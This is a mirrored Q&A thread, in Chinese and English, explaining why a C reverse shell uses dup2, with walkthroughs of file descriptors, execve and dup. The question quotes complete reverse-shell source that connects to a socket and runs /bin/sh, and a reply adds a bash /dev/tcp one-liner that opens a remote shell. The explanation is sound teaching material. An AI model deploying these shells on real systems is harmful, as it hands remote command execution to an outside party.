简体   繁体   English

为什么在这个 C 反向 shell 代码中需要 dup2?

[英]Why is dup2 necessary in this C reverse shell code?

I came across this reverse shell code, that is written in c.我遇到了这个用 c 编写的反向 shell 代码。

main(){
    int sock = socket(AF_INET, SOCK_STREAM, 0);

    struct sockaddr_in sock_addr;
    sock_addr.sin_family = AF_INET;
    sock_addr.sin_port = htons(8080);
    sock_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    connect(sock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr_in));   

    dup2(sock, STDIN_FILENO);
    dup2(sock, STDOUT_FILENO);
    dup2(sock, STDERR_FILENO);
    execl("/bin/sh", NULL);
}

I wanted to understand it, so I informed myself about file descriptors because dup2 is used.我想了解它,所以我了解了文件描述符,因为使用了 dup2。 Now the problem is that I don't get why.现在的问题是我不明白为什么。

The man page of socket lets me assume, that stdin, stdout and stderr are getting replaced by the socket.套接字的手册页让我假设,stdin、stdout 和 stderr 正在被套接字替换。

[...] The file descriptor returned by a successful call will be the lowest-numbered file descriptor not currently open for the process. [...] 成功调用返回的文件描述符将是当前未为进程打开的最低编号的文件描述符。

Is this assumption true?这个假设是真的吗? And if it is, why would you want to reset the default streams?如果是,您为什么要重置默认流? Is it because of the following execl("/bin/sh", NULL) line, as this thread implies?是否因为线程暗示的以下 execl("/bin/sh", NULL) 行?

File Descriptors文件描述符

Every file, socket, pipes, etc... is uniquely identified within your process by a number, called the file descriptor.每个文件、套接字、管道等...在您的进程中由一个称为文件描述符的数字唯一标识。
If you create a new file descriptor you will get the lowest unused file descriptor number in your process, starting at 0.如果您创建一个新的文件描述符,您将获得进程中最低的未使用文件描述符编号,从 0 开始。

The first 3 file descriptors of each have a special role:每个文件的前 3 个文件描述符都有特殊作用:

FD FD C Constant C 常数
0 0 STDIN_FILENO标准输入文件编号
1 1 STDOUT_FILENO标准输出_文件编号
2 2 STDERR_FILENO STDERR_FILENO

If you want you can always take a look at the file descriptors (and what they are referring to) by quering /proc , eg:如果您愿意,您可以随时通过查询/proc来查看文件描述符(以及它们所指的内容),例如:

ls -l /proc/<pid of your process>/fd

execve & its friends execve 及其朋友

execve replaces the current process with a new one, as specified by the arguments. execve用参数指定的新进程替换当前进程。
All file descriptors that your process had open will remain open¹ and the new process can use them.您的进程打开的所有文件描述符都将保持打开状态¹,新进程可以使用它们。

¹ except those marked as close-on-exec ¹ 除了标记为close-on-exec

What your program does你的程序做什么

Directly after your program starts, your file descriptors could look like this:在您的程序启动后,您的文件描述符可能如下所示:

0 -> /dev/pts/1
1 -> /dev/pts/1
2 -> /dev/pts/1

(just the normal stdin, stdout, stderr, connected to a normal terminal) (只是普通的stdin、stdout、stderr,连接到普通终端)

after that you allocate a socket: int sock = socket(AF_INET, SOCK_STREAM, 0);之后你分配一个套接字: int sock = socket(AF_INET, SOCK_STREAM, 0);

0 -> /dev/pts/1
1 -> /dev/pts/1
2 -> /dev/pts/1
3 -> [socket:12345]

then you connect the socket and get to the dup2's.然后你连接插座并进入dup2。 dup2 clones a file descriptor and - unlike dup - assigns it a specific file descriptor number (if that fd is already in use it will be closed first) dup2克隆一个文件描述符,并且 - 与dup不同 - 为其分配一个特定的文件描述符编号(如果该 fd 已经在使用中,它将首先关闭)

so after dup2(sock, STDIN_FILENO);所以在dup2(sock, STDIN_FILENO); your fd's would look like this:你的 fd 看起来像这样:

0 -> [socket:12345]
1 -> /dev/pts/1
2 -> /dev/pts/1
3 -> [socket:12345]

so before the execl the fd's would be:所以在execl之前,fd 将是:

0 -> [socket:12345]
1 -> [socket:12345]
2 -> [socket:12345]
3 -> [socket:12345]

Then your process execs to /bin/sh , replacing the current process with a shell.然后你的进程执行到/bin/sh ,用一个 shell 替换当前进程。

So now you have a shell with its input and output hooked up to the socket you created, effectively allowing the program on the other end of the socket to send arbirary shell commands which will be executed by /bin/sh and the output returned via the socket.所以现在你有一个 shell,它的输入和输出连接到你创建的套接字,有效地允许套接字另一端的程序发送任意 shell 命令,这些命令将由/bin/sh执行,输出通过插座。

As @JonathanLeffler has pointed out in the comments, the fd 3 could be closed before the exec, because it's not needed.正如@JonathanLeffler 在评论中指出的那样,fd 3 可以在 exec 之前关闭,因为它不需要。

Why not use dup instead of dup2 ?为什么不使用dup而不是dup2

dup , like you quoted, will give you the lowest available fd that's available in your process. dup ,就像您引用的那样,将为您提供流程中可用的最低可用 fd。

So it would be possible to do the following:因此,可以执行以下操作:

close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
dup(sock);
dup(sock);
dup(sock);

The closes would close fd 0-2:关闭将关闭 fd 0-2:

3 -> [socket:12345]

and the dup would duplicate fd 3 to 0-2 (you always get the lowest available number, even if those would be stdin, stdout or stderr)并且 dup 会将 fd 3 复制到 0-2(您总是得到最低的可用数字,即使这些数字是 stdin、stdout 或 stderr)

0 -> [socket:12345]
1 -> [socket:12345]
2 -> [socket:12345]
3 -> [socket:12345]

However this could potentially go wrong if you have other threads that are creating fd's (eg another thread might just be creating a new fd after you closed stdin, so it gets fd 0, and your dup() later would get 4)但是,如果您有其他线程正在创建 fd,这可能会出错(例如,另一个线程可能只是在您关闭 stdin 后创建一个新 fd,所以它得到 fd 0,而您的 dup() 稍后将得到 4)

So that's what dup2() is about: precisely assigning a specific fd (in this case stdin, stdout, stderr)这就是dup2()的含义:精确分配特定的 fd(在这种情况下,stdin、stdout、stderr)

The dup2() system call performs the same task as dup(), but instead of using the lowest-numbered unused file descriptor, it uses the file descriptor number specified in newfd. dup2() 系统调用执行与 dup() 相同的任务,但它不使用编号最低的未使用文件描述符,而是使用 newfd 中指定的文件描述符编号。 In other words, the file descriptor newfd is adjusted so that it now refers to the same open file description as oldfd.换句话说,文件描述符 newfd 被调整,以便它现在引用与 oldfd 相同的打开文件描述。

There's also dup3 , which in addition to what dup2 can do additionally allows you to specify flags, eg O_CLOEXEC , that would automatically close the fd when forking.还有dup3 ,除了dup2可以做的之外,它还允许您指定标志,例如O_CLOEXEC ,它会在分叉时自动关闭 fd。

simplest way using bash使用 bash 的最简单方法

# $1 ip address
# $2 remote port 
/bin/bash -i >& /dev/tcp/$1/$2 0>&1

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM